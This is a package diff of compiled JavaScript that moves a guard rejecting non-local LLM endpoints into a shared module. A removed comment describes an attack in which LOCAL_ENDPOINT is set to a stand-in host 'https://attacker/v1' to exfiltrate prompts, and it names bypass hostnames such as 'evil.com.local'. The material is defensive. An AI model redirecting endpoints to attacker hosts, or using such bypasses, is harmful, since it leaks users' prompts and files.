- * everything the local driver receives gets exfiltrated.
- *
- * Rule: hostname must be one of
- *   - localhost / 127.0.0.1 / ::1
- *   - RFC1918 private space (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
- *   - link-local (169.254.0.0/16, fe80::/10)
- *   - .local mDNS / .lan / .home / .internal suffixes
- *
- * To opt out (e.g. authorized remote inference cluster), the operator can
- * set LOCAL_ENDPOINT_ALLOW_REMOTE=1 — explicit override, audited via env.
- */
-export declare function isLoopbackOrPrivateEndpoint(rawUrl: string): boolean;
+export { isLoopbackOrPrivateEndpoint };
 /**
  * Local LLM driver — Ollama, LM Studio, vLLM, llama.cpp server, and most
  * other self-hosted runtimes expose an OpenAI-compatible chat-completions

package/dist/drivers/local/index.js

@@ -1,96 +1,9 @@
+import { isLoopbackOrPrivateEndpoint } from "../../localEndpointGuard.js";
 import { OpenAIApiDriver } from "../openai/index.js";
-/**
- * Reject any LOCAL_ENDPOINT that doesn't resolve to loopback or RFC1918
- * private space. The local driver streams the user prompt + context-file
- * paths to whatever URL is set; if a malicious recipe (or a user pasting
- * a phishy "free local LLM" link) sets `LOCAL_ENDPOINT=https://attacker/v1`,
- * everything the local driver receives gets exfiltrated.
- *
- * Rule: hostname must be one of
- *   - localhost / 127.0.0.1 / ::1
- *   - RFC1918 private space (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
- *   - link-local (169.254.0.0/16, fe80::/10)
- *   - .local mDNS / .lan / .home / .internal suffixes
- *
- * To opt out (e.g. authorized remote inference cluster), the operator can
- * set LOCAL_ENDPOINT_ALLOW_REMOTE=1 — explicit override, audited via env.
- */
-export function isLoopbackOrPrivateEndpoint(rawUrl) {
-    let host;
-    let wasBracketed = false;
-    try {
-        host = new URL(rawUrl).hostname.toLowerCase();
-    }
-    catch {
-        return false;
-    }
-    if (!host)
-        return false;
-    // Strip IPv6 brackets if any
-    if (host.startsWith("[") && host.endsWith("]")) {
-        host = host.slice(1, -1);
-        wasBracketed = true;
-    }
-    if (host === "localhost" || host === "127.0.0.1" || host === "::1") {
-        return true;
-    }
-    // IPv4 RFC1918 + link-local + 127/8 (check first — strict literal match)
-    const v4 = host.match(/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/);
-    if (v4) {
-        const a = Number(v4[1]);
-        const b = Number(v4[2]);
-        if (a === 10)
-            return true;
-        if (a === 127)
-            return true;
-        if (a === 169 && b === 254)
-            return true;
-        if (a === 172 && b >= 16 && b <= 31)
-            return true;
-        if (a === 192 && b === 168)
-            return true;
-        return false;
-    }
-    // IPv6 ranges — only when the input looked like an IPv6 literal (was
-    // bracketed in the URL, or matches an IPv6 syntactic shape). Without this
-    // gate, a hostname like `fc-services.example.com` or `fe8a-test` would
-    // match the legacy `startsWith("fc")` / `startsWith("fe8")` checks and
-    // bypass the validator. RFC3986 allows IPv6 literals only inside `[…]`,
-    // so requiring the brackets is the conservative path.
-    if (wasBracketed || /^[0-9a-f:]+$/.test(host)) {
-        if (host.startsWith("fe8") ||
-            host.startsWith("fe9") ||
-            host.startsWith("fea") ||
-            host.startsWith("feb")) {
-            return true; // link-local fe80::/10
-        }
-        if (host.startsWith("fc") || host.startsWith("fd")) {
-            return true; // unique-local fc00::/7
-        }
-    }
-    // mDNS / common LAN suffixes — checked LAST and require a leading dot
-    // boundary so attacker-registered public domains like `evil.com.local`
-    // don't slip through (`.local` and `.lan` are not reserved TLDs at the
-    // DNS resolver level — only RFC6762 reserves them for mDNS, but public
-    // resolvers will happily look them up).
-    //
-    // The trade-off: a host literally named `printer.local` (single label
-    // before `.local`) is the legitimate mDNS form and matches; a host like
-    // `evil.com.local` (two-or-more labels before `.local`) is only the
-    // mDNS form by accident and is the bypass we're rejecting.
-    for (const suffix of [".local", ".lan", ".home", ".internal"]) {
-        if (host.endsWith(suffix)) {
-            const labels = host.split(".");
-            // 2 labels exactly: `<name>.local` — legitimate mDNS shape.
-            if (labels.length === 2)
-                return true;
-            // More labels: ambiguous — refuse by default. Operator can opt out
-            // via LOCAL_ENDPOINT_ALLOW_REMOTE for legitimate multi-label
-            // internal DNS zones (e.g. `service.team.internal`).
-        }
-    }
-    return false;
-}
+// Re-export so existing importers (`import { isLoopbackOrPrivateEndpoint }
+// from ".../drivers/local/index.js"`) keep working after the predicate moved
+// to the shared `src/localEndpointGuard.ts` module.
+export { isLoopbackOrPrivateEndpoint };
 /**
  * Local LLM driver — Ollama, LM Studio, vLLM, llama.cpp server, and most
  * other self-hosted runtimes expose an OpenAI-compatible chat-completions

package/dist/drivers/local/index.js.map

@@ -1 +1 @@
-{"version":3,"file":"index.js","sourceRoot":"","sources":["../../../src/drivers/local/index.ts"],"names":[],"mappings":"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"}
+{"version":3,"file":"index.js","sourceRoot":"","sources":["../../../src/drivers/local/index.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,2BAA2B,EAAE,MAAM,6BAA6B,CAAC;AAC1E,OAAO,EAAE,eAAe,EAAE,MAAM,oBAAoB,CAAC;AAErD,2EAA2E;AAC3E,6EAA6E;AAC7E,oDAAoD;AACpD,OAAO,EAAE,2BAA2B,EAAE,CAAC;AAEvC;;;;;;;;;;;;;;;;;;;GAmBG;AACH,MAAM,OAAO,cAAe,SAAQ,eAAe;IAC/B,IAAI,GAAG,OAAO,CAAC;IAEjC,YAAY,GAA0B;QACpC,MAAM,OAAO,GAAG,OAAO,CAAC,GAAG,CAAC,cAAc,CAAC;QAC3C,IAAI,CAAC,OAAO,EAAE,CAAC;YACb,MAAM,IAAI,KAAK,CACb,8FAA8F,CAC/F,CAAC;QACJ,CAAC;QACD,IACE,OAAO,CAAC,GAAG,CAAC,2BAA2B,KAAK,GAAG;YAC/C,CAAC,2BAA2B,CAAC,OAAO,CAAC,EACrC,CAAC;YACD,MAAM,IAAI,KAAK,CACb,mCAAmC,OAAO,gCAAgC;gBACxE,yEAAyE;gBACzE,uEAAuE;gBACvE,iDAAiD,CACpD,CAAC;QACJ,CAAC;QACD,KAAK,CAAC,GAAG,EAAE;YACT,OAAO;YACP,mEAAmE;YACnE,YAAY,EAAE,OAAO,CAAC,GAAG,CAAC,WAAW,IAAI,UAAU;SACpD,CAAC,CAAC;IACL,CAAC;IAEkB,MAAM;QACvB,mEAAmE;QACnE,6DAA6D;QAC7D,OAAO,OAAO,CAAC,GAAG,CAAC,aAAa,IAAI,QAAQ,CAAC;IAC/C,CAAC;CACF"}